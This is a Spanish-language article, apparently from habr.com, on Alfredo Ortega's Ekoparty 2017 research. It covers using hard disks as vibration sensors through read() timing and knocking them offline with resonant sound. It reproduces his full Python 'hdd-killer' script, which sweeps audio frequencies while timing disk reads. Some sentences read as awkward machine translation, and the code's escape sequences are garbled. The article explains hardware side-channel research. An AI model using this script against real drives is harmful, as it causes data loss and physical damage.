Por qué no deberías gritarle a tu disco duro

Por qué no deberías gritarle a tu disco duro

En la conferencia de seguridad informática Ekoparty 2017 en Buenos Aires, el hacker argentino Alfredo Ortega mostró un desarrollo muy interesante: un sistema para escuchas telefónicas encubiertas en locales sin utilizar un micrófono. Sonido grabado directamente en el disco duro!

El disco duro capta principalmente sonidos de baja frecuencia de alta intensidad, pasos y otras vibraciones. El habla humana aún no puede reconocerse, aunque los científicos están realizando investigaciones en esta dirección (reconocimiento de voz mediante vibraciones de baja frecuencia, que se registran, por ejemplo, desde un giroscopio o un disco duro).

El sonido es la vibración del aire u otro medio. Una persona los percibe a través del tímpano, que transmite vibraciones al oído interno. El micrófono tiene un diseño similar al de una oreja; también en este caso las vibraciones se registran a través de una fina membrana que excita un impulso eléctrico. Por supuesto, el disco duro también está sujeto a vibraciones microscópicas debido a las fluctuaciones del aire circundante. Esto se sabe incluso por las características técnicas de los discos duros: los fabricantes suelen indicar el nivel de vibración máximo permitido y el propio disco duro a menudo intenta colocarlo en un recipiente a prueba de vibraciones hecho de goma u otro material aislante. De esto es fácil concluir que los sonidos se pueden grabar usando HDD. Todo lo que queda es descubrir cómo.

Alfredo Ortega propuso una versión única de un ataque de canal lateral, es decir, un ataque de tiempo. Este ataque se basa en la suposición de que se realizan diferentes operaciones en el dispositivo en diferentes momentos, dependiendo de los datos de entrada proporcionados. En este caso, los "datos de entrada" son las vibraciones del cabezal de lectura y el disco HDD, que se correlacionan con las vibraciones del entorno, es decir, con el sonido. Así, midiendo el tiempo de cálculo y realizando un análisis estadístico de los datos, se pueden medir las vibraciones del cabezal/plato y, por tanto, las vibraciones del medio. Cuanto mayor sea el retraso en la lectura de datos, más fuertes serán las vibraciones del disco duro y, por tanto, más fuerte será el sonido.

¿Cómo medir la vibración del disco duro? Muy simple: simplemente ejecuta la llamada al sistema. read () - y registre el tiempo que tarda en completarse. Los sistemas operativos modernos le permiten leer el tiempo de las llamadas al sistema con una precisión de nanosegundos.

La velocidad de lectura de información de un sector depende de la posición del cabezal y del plato, lo que se correlaciona con las vibraciones de la carcasa del disco duro. Eso es todo.

El análisis estadístico se lleva a cabo utilizando una sencilla utilidad Kscope. Como dicen, todo lo ingenioso es sencillo.

Por qué no deberías gritarle a tu disco duro
Utilidad Kscope (llamada al sistema stat())

Kscope es una pequeña utilidad para visualizar pequeñas diferencias en los tiempos de ejecución de llamadas al sistema. Fuentepublicado en GitHub.

En un repositorio separado tiempo de disco duro existe una versión de la utilidad configurada para un ataque de tiempo en el disco duro, es decir, configurada para analizar la llamada del sistema read ().

Demostración de grabación de sonido utilizando HDD, funcionamiento de la utilidad Kscope


Por supuesto, el habla no se puede entender de esta manera, pero el disco duro es muy adecuado como sensor de vibración. Por ejemplo, puede registrar si una persona con zapatos duros o descalzo entró en una habitación con una computadora (probablemente, si el atacante usa zapatillas suaves o hay una alfombra gruesa en el piso, el disco duro no podrá registrar vibraciones). esto vale la pena comprobarlo). El ordenador es capaz de registrar cristales rotos u otros incidentes con una fuerte intensidad sonora. Es decir, el disco duro puede servir como una especie de sistema de detección de intrusos no autorizados.

Asesino de disco duro

Por cierto, se puede utilizar una técnica similar para desactivar los discos duros. Solo que aquí no eliminamos las oscilaciones del HDD, sino que, por el contrario, generamos oscilaciones que se alimentan al HDD. Si reproduce sonido desde un altavoz a una frecuencia que resuena con la frecuencia del HDD, el sistema pronto apaga el dispositivo con un error de E/S (el kernel de Linux apaga completamente el HDD después de 120 segundos). El propio disco duro puede sufrir daños irreversibles.

Por qué no deberías gritarle a tu disco duro
El kernel de Linux apagó el disco duro después de 120 segundos de emitir sonido a una frecuencia resonante a través del altavoz del altavoz USB Edifier r19u. El altavoz se enciende a aproximadamente una cuarta parte de la potencia (menos de 100 mW) y está ubicado a 20 cm del disco duro, orientado hacia la mesa para mejorar las vibraciones. Marco de Película con una demostración del asesino del HDD

Es curioso que este tipo de "ataques" a los discos duros a veces se produzcan por accidente en la vida cotidiana. Por ejemplo, en septiembre de 2016, el centro de datos del ING Bank se vio obligado a suspender sus operaciones durante 10 horas después de un simulacro de incendio. Decenas de discos duros han fallado debido al fuerte sonido del gas inerte que se libera de los cilindros a alta presión. El sonido era muy fuerte (más de 130 dB), pero ni siquiera se puede gritar a los discos duros, lo que aumenta el retraso en el acceso al HDD.

Demostración de gritos humanos contra discos duros en un centro de datos. Medición de latencia


Para generar el sonido resonante, Alfredo Ortega escribió un script en Python llamado asesino de disco duro (demostración en vídeo).

Script asesino de HDD Es bastante pequeño, por lo que puedes publicarlo completo aquí.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Fuente: habr.com

Añadir un comentario